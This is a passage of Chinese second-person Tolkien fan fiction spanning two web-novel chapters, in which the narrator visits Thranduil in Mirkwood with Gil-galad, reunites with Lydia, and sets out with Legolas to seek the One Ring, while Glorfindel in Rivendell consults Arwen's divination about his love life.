当你来到瑟兰迪尔面前,你很自然地向他微微俯身行礼,瑟兰迪尔也对着你颔首,接着说:“你们来得倒是比我预想的要更早一些。” “因为我们在路上都没有遇到什么阻碍,一路畅通无阻,外加之这些天的天气很好。”你主动解释道,瑟兰迪尔又看向你身边的吉尔-加拉德,轻飘飘地说:“看来又是一位回头客。” 他说得这番话带着几分调侃意味,好在吉尔-加拉德的脾气温和,他还能顺着瑟兰迪尔的意思说:“密林的美景给我留下了深刻印象,所以这次一有机会我想着再来密林看看。” 瑟兰迪尔挑起一边的眉毛,“就只有密林的美景给你留下了深刻印象吗?我想除此之外还有美酒也是吧?放心吧,我已经让后厨准备了丰盛的晚宴,美酒自然是少不了的。” 吉尔-加拉德合理怀疑瑟兰迪尔这是在有意针对他,但是他又想不明白自己受到针对的原因又是什么,难道是因为他和你走得近吗?但瑟兰迪尔只是密林的精灵王,真要论起来,他和你也没什么关系,连沾亲带故都算不上,所以瑟兰迪尔的态度不由地让吉尔-加拉德感到困惑。 不过他后来就明白了,他这是认为吉尔-加拉德有意接近你只是因为你和他曾经的恋人很相似,精灵作为忠贞的种族,向来对移情别恋感到不耻,尤其是瑟兰迪尔这样暴脾气的精灵表现得就更加明显了,他不仅脾气暴躁而且还极其护短,在这里居住过十年的你被他很理所当然地划入需要保护的范围。 只是现在的吉尔-加拉德还没有意识到这 一点,他只是单纯认为这是瑟兰迪尔的性格使然。 跟随着瑟兰迪尔的脚步进入宫殿内部,你将自己打包好的珠宝悉数呈上,“这是我当初答应您的报酬,现在是我兑现承诺的时候了。” 但没成想瑟兰迪尔看上去对你的这些珍宝都兴致缺缺,他坐在王座上单手托腮,神色平淡地扫了一遍你带来的珍宝,然后又问:“我听说你的家乡成功收复了。” 他既然不对你这些报酬感兴趣,那他又会对什么感兴趣呢? 你一边思索他到底在想什么,一边回答他的问题,“是的,这还得要感谢您的儿子莱戈拉斯殿下,以及陶瑞尔大人。” 站在瑟兰迪尔身边的莱戈拉斯和陶瑞尔听你突然用敬称称呼他们,难免有些不太适应,莱戈拉斯心直口快,他说:“我们既然是朋友,就无需说这些感谢的话,而且也不必使用敬称,这样太见外了。” 该说不说,莱戈拉斯还是太年轻了,你这话本身就不是说给他们听的,这只是为了找个由头来恭维瑟兰迪尔而已。 你向莱戈拉斯递去一个眼神希望他能够看懂,但很可惜,他好像没有看懂,非但没看懂,甚至还三步并作两步走到你身边,帮着你说话,告诉瑟兰迪尔你在那场战争中是如何英勇善战的,话题的中心逐渐发生偏离,你试图把话题扯回来,但是没成功。 你暗中观察着瑟兰迪尔的表情,他在认真地听莱戈拉斯说那段经历,直到莱戈拉斯说完,过了几秒,他才又开口:“你的胆识与你的父亲不相上下。” “但是如果不是您当初收留我,我也不会有机会亲手收复家园。” 瑟兰迪尔笑了一下,他知道你的意思,无非就是想要感谢他,但不得不说,你这见缝插针似的赞美确实让他很受用,唯一让他不满意的大概就是你身边那位居心叵测的精灵了吧,没错,他说的就是吉尔-加拉德,他站起身,缓步沿着王座旁的阶梯往下走,他那精美长袍的衣角掠过阶梯,动作虽然缓慢却又不会让人觉得懒散,反而有种似有若无的压迫感。 他伸出手示意在场的密林精灵把这些珍宝都抬下去,接着又切入正题,“时间差不多了,晚宴也可以开始了。” 他可真够直接的,但你总觉得他那么急切地进入晚宴是想要通过这顿晚餐来达成什么目的,后来的事实证明你的猜测是正确的。 你在宴会开始之前还找到了莉迪亚,她比你离开的时候似乎又苍老了一些,但听觉依旧灵敏,一听见你的脚步声她就从那栋熟悉的小屋里跑出来,见到来人果真是你,她顿时笑得眉眼弯弯,“亚玟大人……太好啦,您安全回来了。” “我不是说过不要用敬称吗?”你快步上前主动抱住她,拍了拍她的后背,“是的,我回来了。” 莉迪亚笑着笑着就又流下了眼泪,她说:“抱歉,我忘了你曾经和我说过这话,我现在老了,有些事情总是记不住了。” “不,你还没老呢,我还想着让你回到阿尔诺继续发光发热呢。”你说。 莉迪亚听出你的弦外之音,她更加惊讶道:“什么?你是说……” “是的,我已经把我们的家园收复回来了。”你很肯定地说,这下子莉迪亚的眼泪再也克制不住了,你还能听见她那断断续续的哭声,她原以为她这辈子都无法再见到故土收复了。 你耐着性子等待莉迪亚平复自己的心情,过了一会,她松开手,然后抬手擦去眼泪,她这才看见站在你身后的吉尔-加拉德,那是她未曾见过的精灵,看着装也不像是密林的精灵,因此她疑惑地询问你:“这位是?” 你说:“这是来自纳国斯隆德的吉尔-加拉德,曾帮助了我许多。” 闻言,莉迪亚也对吉尔-加拉德尊敬地点了点头,而后又说:“非常感谢您对亚玟的帮助。” “不,这些都是我应该做的。”吉尔-加拉德也礼貌地回答。 莉迪亚虽然知道你很擅长和精灵打交道,但是她不太明白为什么这位来自纳国斯隆德的精灵领主会主动帮助你,而且还是不求回报地帮助你。 她后来在晚宴上也问起过这个问题,你说:“这大概就是命运的安排吧。” 还得要感谢这个世界,确实存在命运这种东西,而且无论是人类也好,精灵也好,甚至是矮人,也都十分相信命运,所以当你不想回答问题时,直接抛出命运这个东西就完事了。 果不其然的,莉迪亚在听到你说完这句话以后,就没再追问过,她问得更多的是北方王国的战后重建情况。 你知道她挂念着北方的故土,而且自打听说你和其他精灵大军消灭了占据着那片土地的半兽人军队后,她想要返回家乡的心情愈发急切。 “我留下了阿拉贡在那里负责战后重建工作,除了阿拉贡,还有母亲曾经的侍女莉娜,她在十多年前国土沦陷后并没有放弃反抗,反而组织起了一支队伍,在这数十年间坚持不断地抗击半兽人。” 莉迪亚从你嘴里听到的熟悉的名字,她的眼睛一亮,“是莉娜啊……我知道她肯定不会放弃反抗的。” 听你这么说,她就完全放下心来了,毕竟阿拉贡这个孩子她从小就能看出他很有责任心,而且再加上莉娜的辅佐,基本上不会出问题。 当天晚上的这场宴会和幽谷举办的宴会风格截然不同,毕竟密林的精灵和幽谷的精灵虽说是亲族,但也存在着性格上的差异以及风俗习惯上的不同。 尽管宴会的风格极具密林的特色,但是不妨碍各路来宾享受这个晚宴,不过也不是所有来宾都沉浸在轻松愉悦的氛围中,就比如说吉尔-加拉德,他从晚宴一开始就感受到了来自瑟兰迪尔的针对。 对方先是主动邀请他一同品鉴美酒,嘴上说着是品鉴,但密林精灵嘴里的品鉴显然和其他精灵不是一个概念,只见瑟兰迪尔拿起装得满满当当的酒杯,但凡他的手没拿稳就会有酒水从里面洒出来。 而吉尔-加拉德手中的酒杯也和他差不多,见到瑟兰迪尔举起酒杯,他也配合地举起酒杯,瑟兰迪尔在这时还说:“我衷心地希望你能够享受这场晚宴。” 吉尔-加拉德低头看了一眼清澈的酒水液面,那倒映出他的面容,那微微皱起的眉头,他可不觉得对方是在衷心的希望他享受晚宴,这更像是一种挖苦讽刺。 吉尔-加拉德慢条斯理地喝下这一杯酒,旁边的精灵眼疾手快地又给他添满酒,甚至都没有给他反应的机会。 但这一次,吉尔-加拉德问道:“我不太明白,您似乎对我存在什么偏见,我也不知道是哪里得罪了您。” “得罪?这倒算不上,只不过我认为精灵应该对自己曾经立下的誓言负责,哪怕对方早已逝去,这也绝不是你毁坏誓言的原因。” 好吧,听到这里吉尔-加拉德,总算是明白了自己被针对的原因,原来是瑟兰迪尔认为他是一位三心二意的精灵,甚至觉得他这是在移情别恋。 唉,类似的情况也不是没出现过,只是阿拉贡当初质问他的时候态度还算温和有礼,完全不像瑟兰迪尔那样气势汹汹,压根不给他解释的机会。 可事实是,就算瑟兰迪尔给了他机会,他又该如何解释呢?毕竟他已经对他心存偏见,现在他说什么估计这位密林的精灵王都听不进去了。 当吉尔-加拉德还在苦恼的时候,你不知何时走到他身边,瞥了一眼他酒杯里满满当当的酒水就知道这位精灵王又在为难他了。 “密林的美酒也不是什么精灵都能欣赏得来的。” 瑟兰迪尔没说话,眼睁睁地看着你吧吉尔-加拉德手里的酒杯换成装着果汁的玻璃杯,他这才开口 :“你身边的这位精灵和他曾经的人类爱人的故事在这片大陆上广为流传,你难道没有听说过吗?” 瑟兰迪尔自认为自己已经说得足够直白了,而且你也不像是那些愚钝的人类,在他看来你确实聪慧过人,但你的反应却出乎他的意料,你表现得非常平静,说道:“我知道,这些故事,这些歌谣,甚至是舞台剧我都接触过。” 那你怎么还会被这位三心二意的精灵欺骗呢?瑟兰迪尔脸上浮现出疑惑的神色。 “既然你都已经接触过了,那你也该知道,如果他做了什么违背当初誓言的行为,就足以证明他不是一个值得托付的精灵。” 在此之前你都没发现原来瑟兰迪尔那么喜欢操心,而且他对待你的态度,甚至有些像是在对待他的儿子莱戈拉斯,可能是因为在他看来你就是一位需要保护的人类。 这种形容倒不是在否认你的实力,相反的,他非常认可你的胆识与勇气,但他那么做单纯就是因为将你视为密林的一员,简单来说就是在护短。 “我想您可能误会了。”你说。 瑟兰迪尔本就不多的耐心都花费在你身上,他说:“是么……那你倒是说说看我都误会了什么?” 站在一旁手里拿着果汁的吉尔-加拉德,原本以为你会告诉瑟兰迪尔自己转生的真相,但他猜错了。 因为你只是说:“您以为我会被爱情所伤,我会所托非人,但您害怕的这些情况都不会发生,因为我只忠于我自己。” 第95章 第95章“是的,当然存在这种可…… 闻言,在场的两位精灵表情各异,瑟兰迪尔明显对你的答案很满意,他看向你的眼神里满是欣赏,至于吉尔-加拉德他也了解你的性格,你会说这种话其实也不奇怪,他也本该接受的,只不过他的眉眼间还是流露出几分失落的神色,但在你看过来的时候他又挤出一个笑容,尽管那笑容多多少少有些勉强。 瑟兰迪尔总算是跳过了这个话题,而且也没有像先前那样针对节日-加拉德,这其实对后者来说也有好处,但他现在的心情非常复杂。 因此晚宴进行到一半他就又借故先行离开,瑟兰迪尔也没有挽留,甚至还用友善的语气祝他今晚能够好好休息,等吉尔-加拉德走后瑟兰迪尔就又问起你日后的打算,你说得很含糊,瑟兰迪尔一下子就看出来了你这是在敷衍他,他说:“我以为我们之间应该不会存在谎言的。” 你刚才只是说得模棱两可了一点,这可和说谎不沾边啊,瑟兰迪尔那么说就相当于夸张化了,你喝了一口果汁,“实际上我还没有想好。” 瑟兰迪尔见你没有要认真回答的意思,他也就放弃追问,喝完一杯酒又给自己倒满酒,他端着酒杯,“如果你有什么需要帮助的地方,请尽管开口,密林的精灵会帮助你的,我想你还不至于向其他地方的精灵求助。”你总觉得他这话像是在阴阳怪气谁,应该是来自纳国斯隆德的吉尔-加拉德吧,他可能是觉得你越过密林转而向其他地方的精灵求助实在是舍近求远,而且更像是不信任他。 瑟兰迪尔就是这样骄傲的精灵,这里的骄傲指的是他会对需要帮助的人伸出援助之手,这也是你没那么讨厌,甚至还有些欣赏瑟兰迪尔的主要原因,他固然是骄傲的,但他的骄傲远没有到傲慢的程度。 你举起杯子向他投去感谢的眼神,“这一杯我敬您,敬您的慷慨大度与仁慈、” “等你什么时候能够喝下一杯密林的美酒还安然无事再说这些无关紧要的祝酒词吧。”瑟兰迪尔凉飕飕地说,但你的恭维他确实很受用,要不然你也不会发现他唇角带着的笑意。 密林的晚宴基本上都会从傍晚时分一直持续到后半夜,当然你是绝对不可能一直待到最后的,原因也很简单,有的密林精灵喝多了酒就开始出洋相,那场面虽然很热闹滑稽,但也同样很喧嚣,而且稍有不慎就会被这些个醉鬼误伤到,所以你一看时间差不多了,就很有先见之明地离开宴会现场你都没有和瑟兰迪尔说你早退场的事情,反正他也正在与民同乐,估计也不会在意你突然的消失。 你拖着脚步回到森林里的那栋两层小屋,莉迪亚比你还要早回来,她都把出发的行李收拾了大半,看得出来她迫不及待地想要回到故土参加战后重建工作。 “我们还没那么快离开密林,你行李收拾得太早了。”你说。 但莉迪亚却笑了起来,她的笑容里带着几分心酸,“不早,这一天我等了太久了。”她已经等了十多年,甚至于一度还以为自己等不到这一天了。 你听明白她的弦外之音,你又说:“但至少这一天终于到来了。” “是啊,它终于到来了。”说着,莉迪亚抬手擦拭眼泪,她不该在你面前掉眼泪的,她深呼吸控制自己的呼吸,接着又说:“晚宴不好玩吗?你怎么这么早就回来了?” 其实也不算早了,你耸耸肩,“因为我再待下去,那么下一个节目就是群魔乱舞了。”莉迪亚瞬间读懂你的意思,是的,密林的精灵性格豪迈直爽没有缺点,如果真的要挑个缺点出来的话,那就是太喜欢喝酒了。 莉迪亚刚想要说些什么,远处就传来不知是哪个精灵的悠扬歌声,她和你对视一眼,两个人都不约而同地笑了起来,莉迪亚说:“看来节目已经开始了。” 后来你又和莉迪亚说了些别的,主要是和阿拉贡有关的,莉迪亚也很挂念阿拉贡,听你说他在幽谷长大成人,而且成长为一个富有责任感和担当的青年时她无意识紧皱的眉头也逐渐舒展开来,她说:“他再次见到你一定很高兴吧。” “何止是高兴啊,甚至都激动得掉眼泪了。”鉴于现在阿拉贡也不在场,所以你就没有顾及到他的面子,反正莉迪亚应该也知道小时候阿拉贡经常会哭泣,所以听到你那么说肯定也是见怪不怪的。 说完这些你才踩着木质楼梯走向二楼,虽说你离开密林的时间不算久,一年时间都不到,但当你再次回到自己的房间时你还是莫名有种恍惚的感觉,就好像你昨天还在密林里生活着。 你在洗漱之后换上衣柜里的睡衣倒在床上,你不在的这些日子里莉迪亚也依旧会定期为你打扫房间清洗衣物,所以你现在身上穿着的睡衣还散发着阳光晒过以后的味道,那味道很淡,但你很喜欢。 躺在床上眼睛盯着天花板看,心里盘算着从密林离开以后就得要踏上寻找至尊魔戒的旅程,一天没有找到至尊魔戒,你就一天不能安心,毕竟只要至尊魔戒还存在着,那就意味着索伦还有卷土重来的可能性。 长久地盯着天花板看,你的眼睛变得有些干涩,你缓慢地眨了一下眼睛,月光倒映在天花板上,勾勒出光与影的交界线,此时此刻凝望着月光的人不止你一个,远在幽谷的格洛芬德尔急匆匆地赶回来,并且拿着那封信去寻找领主埃尔隆德,结果对方一看这封信,很肯定地表示自己没有写过这封信。 “等等——但是这封信的落款确实是您的名字。” 埃尔隆德凝望着窗外的月光,他在思索如何委婉地告诉格洛芬德尔他很可能是被某个精灵给骗了呢? 良久后,他才说:“落款确实是我的名字,而且字迹也和我的很像,但是——这封信是被伪造的。” 其实听到这里格洛芬德尔就大概猜出来了是谁伪造的这封信,以及他那么做的原因是什么,格洛芬德尔尽可能控制自己的表情,“是么……原来是这样啊。” 埃尔隆德还想问到底是谁做的这件事,但是一看格洛芬德尔那难看的脸色,他就很识趣地没有接着问下去,他说:“不过既然阿尔诺的战事告 捷,你也确实应该回来了。” “……嗯。”格洛芬德尔含糊不清地说,但只有他自己心里清楚,他还是得要离开幽谷一段时间,免得吉尔-加拉德又想尽千方百计地占据你的时间和注意力,虽说你们先前确实是伴侣,而且可以说是恩爱伴侣,但这一次你们既没有缔结婚约,你也没有明显表现出对吉尔-加拉德的偏爱,所以他认为你应该是对他感觉到了厌倦,这其实对格洛芬德尔来说也是一件好事,这代表这一次他或许能够有机会到底成为你的伴侣。 饶是精灵中数一数二的智者埃尔隆德也想不到格洛芬德尔现在的脑袋里想的都是这些东西。 格洛芬德尔从埃尔隆德那里离开后在回自己房间的路上遇到了好友埃克塞理安,对方瞧见他那一副闷闷不乐的样子就问:“阿尔诺不是打了胜仗吗?怎么从那里回来的你还那么愁眉苦脸的啊?” 格洛芬德尔看都没看埃克塞理安,这使得后者更加担忧了,埃克塞理安问个不停,他还以为格洛芬德尔遇到了什么伤心事呢,他就这样问了一路,最后实在是无可奈何,他只能长叹一口气,“唉——我们这样还能算是朋友吗?” 这下子格洛芬德尔才终于有了反应,他说:“我们当然是朋友了。” 埃克塞理安说起自己刚刚收获的茶叶,又问:“所以要去喝杯茶吗?”格洛芬德尔欣然答应了。 他们坐在宫殿平台上,手边是飘着朦胧热气的茶水,格洛芬德尔的手里拿着黑色棋子,他抓了一把棋子握在手里,从左手倒到右手又从右手倒回左手,埃克塞理安喝了一口茶水,他们这盘棋下得没那么认真,主要是为了解闷,埃克塞理安说:“现在你总该说说到底发生了什么吧?” 格洛芬德尔依旧不语,转而拿出水晶球开始占卜,他不光是用水晶球,而且还抬头占星,甚至还拿出一副纸牌,真是五花八门的占卜方法他全都用上了。 他、他这是在做什么啊?要占卜什么重大的事情吗?埃克塞理安彻底傻眼了,他说:“你这又是在做什么?” “如你所见,我是在占卜。” 这不是废话嘛,他身为一个精灵当然能看出来他这是在占卜啊,可问题的关键在于,他到底在占卜什么啊? “是关于……嗯,恋情方面的。”格洛芬德尔小声地说。 埃克塞理安顿悟了,他又说:“但你现在才开始占卜会不会有点太晚了啊?”毕竟他们第一纪元的精灵放在现在同时代的精灵里就多多少少存在着一点年龄差,当然,他也知道在真爱面前年龄不是问题,而且精灵之间也不缺跨年龄的恋情,只是他的这个朋友以前可对爱情一点都不感兴趣,现在怎么又突然心血来潮了呢? “不是我说,你这个开窍未免也来得太晚了吧?”埃克塞理安半开玩笑地说,但看格洛芬德尔的表情就知道他是认真的了,于是他暂时放下手中的白色棋子,因为不管怎么说他也是个热心肠的朋友,见到朋友遇到烦恼他自然是会欣然相助的,现在这种情况也不例外。 所以最后就变成了他们两个精灵凑在一块琢磨怎么占卜才能更加准确一些,并不是所有精灵都很擅长占卜的,毕竟这种东西也是看天赋的,如果本身没什么天赋,就算道具再多,那也只不过是差生工具多。 埃克塞理安手里拿着那颗沉甸甸的水晶球,他不由地问道:“如果你真的为了追求占卜的真实性,那你为什么不去向埃尔隆德求助呢?” 闻言,格洛芬德尔挑起一边的眉毛,仿佛在无声地说:你是认真的吗? “啊……我知道了,你估计是觉得不好意思吧?”好吧,他会产生不好意思的心情他也能理解,毕竟埃尔隆德如果按照年龄来排的话,他显然是他们的小辈,不,应该是小小辈的那种程度,所以向小辈,而且还是早就结婚生子的小辈请求恋爱上的帮助,怎么看都有点辛酸,因此尽管格洛芬德尔什么都没说,但埃克塞理安却表示自己充分理解,“我明白你的心情。” 不是,他还什么都没说呢,他怎么就明白了呢?这反倒是让格洛芬德尔很不解,他说:“你都明白什么了啊,我怎么觉得你反而误会了什么啊。” “好了,我们还是暂时跳过这个话题吧。” 后来他们谁也没说话,就在这个极为安静的间隙里,这个空旷的平台迎来第三位精灵,最先发现来者的是埃克塞理安,他一眼就看到了朝着这边走来的阿尔温,她绝不是无意之间路过这里,因为看她的表情正在寻找什么,当她看到格洛芬德尔的时候她便加快脚步朝着他们走来。 这位公主是专程来找格洛芬德尔的,埃克塞理安一下子就意识到了这一点,他提前对面前的格洛芬德尔说:“阿尔温公主找过来了。” 刚才还醉心于占星的格洛芬德尔回过神来,他先是“嗯?”了一声,然后就听见阿尔温公主的声音传到他们耳边,阿尔温说:“格洛芬德尔大人,还有埃克塞理安大人晚上好。”她非常有礼貌地向他们两位问好。 格洛芬德尔和埃克塞理安也纷纷起身迎接阿尔温,“晚上好,阿尔温殿下。” 阿尔温点了点头,她看见摆在棋局旁边的水晶球和占卜纸牌,她说:“您们这是在占卜什么呢?” 她真是一上来就直接切入正题啊,埃克塞理安内心感慨一声,他说:“没什么,就是占卜一些虚无缥缈的事情。” 话音还未完全落下,格洛芬德尔用胳膊肘捅了一下埃克塞理安,后者连忙改口,“呃,也不是那么虚无缥缈,就是……嗯,就是悬而未决的事情啦。” 阿尔温捕捉到他们之间的小动作,她说:“原来如此,对了,我有些事情想要询问格洛芬德尔大人。” 一听对方直接点名道姓地要问自己问题,格洛芬德尔很配合地点头,至于埃克塞理安也很识相地找个借口离开这里,将这个平台留给他们单独谈话。 “您有什么事情想要问的呢?”格洛芬德尔的直觉告诉他接下来阿尔温会问的问题多半是与你有关的,毕竟先前还在幽谷的时候她就表现出了对你的亲近,她会对你这种感情其实也不奇怪,因为当初是你潜入索伦的巢穴亲手解救她的,换做是他设身处地地想一下当时的情况,那他肯定也会对你产生些许依赖的情感。 “亚玟她这次怎么没有回幽谷呢?” 果不其然地,事实证明格洛芬德尔猜对了,阿尔温一开口问的就是和你有关的问题,格洛芬德尔如实回答,你在阿尔诺的战事告捷后还得回密林一趟,主要是为了表达对密林精灵王瑟兰迪尔的感谢,顺便再送上当初约定好的报酬。 听到这里,阿尔温等格洛芬德尔说完以后才不紧不慢地开口继续问道:“那您为什么没有跟着一同去往密林呢?” 这个问题可真尖锐啊,哪怕是格洛芬德尔都愣了一下,他能说他起初确实打算和你一同去密林的吗?只是中间出了点小插曲,他不小心进入了某个精灵的圈套,因此错失了这次机会。 发觉格洛芬德尔明显地停顿了一下,阿尔温便意识到自己可能说错话了,她从善如流地向他道歉:“抱歉,我刚才不该那么说的。” 格洛芬德尔却摇了摇头,因为她说的这话也没什么错,他挤出一个笑容,“没关系,您不需要对我道歉。” 阿尔温还在仔细观察格洛芬德尔的神色,确认真的没事以后她才又问:“那在前不久的那场战争中她应该没有受伤吧?” “这一点您不用担心,她没有受伤。”你非但没有受伤,而且在战后还在短时间内拟定了战后重建计划,这和你之前还是伊玟的时候的作风很像,足以见得你从未改变过。 阿尔温又问了一些小问题,面对她的询问格洛芬德尔都能耐心回答,到最后阿尔温都有些不好意思了,毕竟她占用了对方太多时间,于是她说:“我刚才看到您们似乎在占卜中与到了什么问题,或许我可以帮您们?” 她说这话不是在客套,因为她的父亲埃尔隆德就拥有预知未来的能力,所以她身为他的女儿自然而然地也继承了些许占卜上面的天赋。 虽然说她并不能像她的父亲埃尔隆德那样准确地预知未来,但是她在占卜方面的天赋放眼整个精灵族都是数一数二的。 因此当格洛芬德尔听到她主动表示可以帮助占卜时,他感到惊喜的同时又有些犹豫纠结,原因也很简单,他担心阿尔温占卜得太过准确,而他占卜出来的结果又不是他所设想的那样。 所以格洛芬德尔没有马上回答,阿尔温很有耐心地等待他的回应,最后格洛芬德尔还是选择向她求助,“那就麻烦您了。” 阿尔温说:“这算不上什么麻烦的,而且您刚才也非常有耐心地解答了我那么多的问题。” 阿尔温一边说着一边走向摆着棋局的 桌子,她的占卜方法非常简单,甚至都没有用到那些花里胡哨的工具,她只是单手触碰那颗水晶球,与此同时,又转过头询问格洛芬德尔:“您想要占卜什么方面的问题呢?” 格洛芬德尔抿了抿嘴唇,“嗯……是关于爱情方面的。” 闻言,阿尔温难免有些惊讶,毕竟像他们这些第一纪元的精灵如果没有在一开始就找到自己的灵魂伴侣的话,那么伴随着时间的流逝,按理来说,他们对爱情的憧憬和向往也会随之逐渐消弭,正在精灵之中也是非常常见的,毕竟能够找到灵魂契合的伴侣本身就是一件可遇不可求的事情。 阿尔温把惊讶的心情很好地掩饰在平静的外表下,她说:“好的,我明白了,是爱情方面的呀……” 刚才格洛芬德尔还在和埃克塞里安讨论是否需要请求埃尔隆德帮忙,但如果真的找他帮忙,又会有些尴尬,现在换成他的女儿来帮忙,尴尬的程度也没有削减。 阿尔温闭上眼睛,手掌贴着水晶球的表面,从格洛芬德尔的视角看过去,那颗晶莹剔透的水晶球内部逐渐出现迷雾般的幻影,那团迷雾变幻莫测,时而化作蝴蝶,时而又化形为林间小鹿,过了好一会儿那团迷雾才逐渐消失,但迷惑的神色却在阿尔温的脸上弥漫开来。 “关于您的爱情……我只能说过程坎坷,而且结果也不一定如您所想的那样,因为您的心上人似乎没有那么坚定地选择您。”阿尔温如实说出占卜的结果,就和格洛芬德尔先前担心的情况是一样的,阿尔温占卜出来的结果并没有那么好,而且甚至可以用糟糕来形容。 尽管阿尔温后面又补充了几句,但是格洛芬德尔的注意力都集中在前面那一段话上面,他说:“虽然过程坎坷,但至少还存在成功的可能性不是吗?” 阿尔温本来还想安慰格洛芬德尔的,但是没想到他先一步安慰起自己来,阿尔温顺着他的意思说:“是的,当然存在这种可能性。” 还好埃克塞理安不在场,否则他听到格洛芬德尔这么说,肯定会笑着拍他的肩膀,然后说:“我的朋友,你有这样乐观的心态,无论怎样都会成功的。” 第96章 第96章“如你所见那就是一只断…… 你在密林做客的日子就和往常一样,如果真的要说有什么不同的地方,那大概就是你经常会和吉尔-加拉德偶遇吧,但你相信这绝对不是偶遇,而是他计划好的结果,但你也能理解他这些小心思,因此也很默契地没有戳穿他这些小动作,每当与他偶遇的时候你都面色如常地向他问好。 现在的局势显然是精灵和人类这一方占据上风,所以黑暗生物也开始有所收敛,你在密林里遇到巨型蜘蛛的频率都没以前那么高了,这还让你有些失望呢,毕竟说实话你还挺喜欢杀死巨型蜘蛛的,因为很解压,而且那些蜘蛛也不会散发出半兽人那样的恶臭味,所以对你的嗅觉也很友好。 你和吉尔-加拉德经常在密林里散步,沿着那些在欧洛斐尔时期就建造的精灵小道行走在森林间,吉尔-加拉德说起上次瑟兰迪尔主动叫他过去谈话的事情,你才听了个开头,还以为他又要说瑟兰迪尔在针对他呢,但是后面的发展却和你想的有些不太一样,他说:“他询问我是否能修复他的亡妻留下的那条白宝石项链。” 原来是为了这件事情啊,瑟兰迪尔肯定是经过深思熟虑才向吉尔-加拉德提出这个请求的,毕竟他本身就是个不轻易向别人低头的精灵,更别提向别的精灵低头了。 “所以你答应了吗?”这条精灵小道的尽头接通的是一座小桥,这片区域原本是被巨型蜘蛛占领的地带,但是这些天被陶瑞尔带领的精灵小队清扫过了,这里别说巨型蜘蛛了,就连它们的蜘蛛丝都没留下一条,显得无比干净。 吉尔-加拉德跟着你的脚步也走上那座小桥,他说:“我似乎没有拒绝的余地,而且我能够感受到他向我提出这个请求的时候内心的悲伤。”在那时候吉尔-加拉德充分理解对方的哀伤,因为他也曾有过这种经历,在你去世后他在整理你的珠宝首饰时也时常会泪流满面,这种眼泪是无声无息的,起初不会被他察觉,等到后来才猛然意识到自己原来在流泪。 说到底吉尔-加拉德也是一位心地善良的精灵,如果换做你经常被瑟兰迪尔这样针对你是绝对不可能帮助他的,非但不会帮忙没准还会特意给他添乱呢,因为你本身也不是个品德高尚的人,至少在品德方面你是完全没法和吉尔-加拉德相比较的,这一点你也必须承认。 “那你接下来一阵子有的忙了。”你回过头,正好你过段时间也要离开密林。 “嗯……但我会尽快完成这个任务的。”吉尔-加拉德说,他也不希望为此错过与你一同寻找至尊魔戒的机会,但他也没有直接说出让你等他这种话,因为他知道你的性格不会特意为谁而停留,假如你真的想走,没有谁能拦得住你。 想着想着,吉尔-加拉德的脸上就浮现出忧虑的神色,你看了他一眼,大概猜到了他在忧虑什么,你又移开视线。 既然吉尔-加拉德答应了瑟兰迪尔的请求,他也不会敷衍了事,因此他接下来的那段时间确实一直都在帮忙修复那条白宝石项链,就在这期间你也决定离开密林,和你一同离开的还有莱戈拉斯和另外一支精灵小队,这支队伍是负责护送莉迪亚回到幽谷的。 至于莱戈拉斯,他完全是来凑热闹的,他听说你要去寻找至尊魔戒,于是也决定和你同行,他对至尊魔戒没什么兴趣,但这是个很好的理由离开密林去外面游历,而且他的父亲还什么都不会说,这真是太完美了。 而且莱戈拉斯的狡猾之处在于他表面上来看是帮着护送莉迪亚的队伍一员,但在等到离开密林后没多久你就发现自己身后不远处多出一条小尾巴,你回过头定睛一看,原来是莱戈拉斯,不,应该说竟然是莱戈拉斯,他怎么会出现在这里呢? 你当即让马匹停下莱戈拉斯在快要撞上你的时候也让马匹停住脚步,你说:“你不是负责护送莉迪亚吗?” “是的,我护送了一半难道就不是护送了吗?” 真没想到莱戈拉斯这个年轻精灵居然也和你玩起了文字游戏那一套,“你知道我是什么意思的,你这样跟过来,你的父亲知道吗?” “他当然知道,这次不像上次那样,这次我是打过报告的。” 看他说得有理有据,那估计就是真的了,但你又为什么会不知道呢?你思考几秒,忽然发现莱戈拉斯这是利用了你和瑟兰迪尔之间的信息差,因为按照瑟兰迪尔的性格他不会每件事都事无巨细地告诉你的,有的事情他会默认你也知道的,就比如说莱戈拉斯会跟着你一起去寻找至尊魔戒这件事,毕竟在他看来你和莱戈拉斯的关系确实不错,想来你也不会拒绝这件事。 而你呢,在你的潜意识里也认为瑟兰迪尔不会放任自己唯一的儿子去冒险,于是乎你们都会错了意,这反而导致莱戈拉斯钻了其中的空子,最后造就了现在的结果。 现在想要让莱戈拉斯乖乖回去几乎不可能,因为别看莱戈拉斯平常很好相处的样子,要不说他是瑟兰迪尔的儿子呢,他的倔脾气也和他的父亲如出一辙,你深吸一口气,那么看来你这下子是真的只能带着他一同去寻找至尊魔戒了。 “我应该也算是个有用的助手,你也没必要那么嫌弃吧?”莱戈拉斯笑着说,他骑着的马也有些小骄傲地扬起脑袋,仿佛在通过这种小动作来告诉你:我和我的主人都不差。 行吧行吧,事已至此,你的选择就是接受了,而且莱戈拉斯说得对,从实力来看他确实是个得力助手,但就是多了个他你还得分出一部分注意力给他免得他陷入索伦的陷阱。 “我没有嫌弃,我只是在想既然现在你来了,那我就得调整接下来的计划。”你说着,莱戈拉斯很期待地等待着你的下半句话,结果你沉默了一会就没了后续,他只好再次提醒你:“那么接下来的计划是怎样的呢?” 如果要你说实话的话,那就是你还没有想好,你很诚实地向他摊手:“实际上我也还没有想好。” 总之还是先离开这里吧,然后再顺着你先前收集的线索搜寻至尊魔戒可能会出现的地方,因为这些消息都是你道听途说来的,所以准确性和真实度如何你也不能确定,现在的情况就相当于摸着石头过河,走一步算一步,至于最后的结果还是个未知数。 莱戈拉斯将这次旅途视为游历,他表现得很轻松,而且还在那里问东问西,他说:“你为什么不等吉尔-加拉德修复好项链再带着他一同离开呢?” 他还真是什么都要问一下啊,你本来想要装作没听见他这番话的,但是他还不依不饶地问了第二遍,这下子你是彻底没办法装作没听见了,你说:“在问出这个问题之前你怎么不想想自己为什么会那么问呢?是你的潜意识里认为关系亲近的人和精灵就要一直黏在一块吗?” 是啊,在莱戈拉斯看来确实就是这样的,因为如果换做是他,那他肯定也会那么做的,他很认真地点点头,“难道不可以吗?” “……也不是不可以,但这大概就是成熟与不成熟之间的区别了吧。”你小声地说。 “我可是听见你的碎碎念了,你这声音可是躲不过精灵的耳朵的。”莱戈拉斯可是很在意别人用不成熟来形容他,他刚想说些什么,但是远处天空路过的巨鹰吸引他的注意力,“是巨鹰——” 不用他提醒你也看见了,但你还是说:“谢谢你的提醒。” 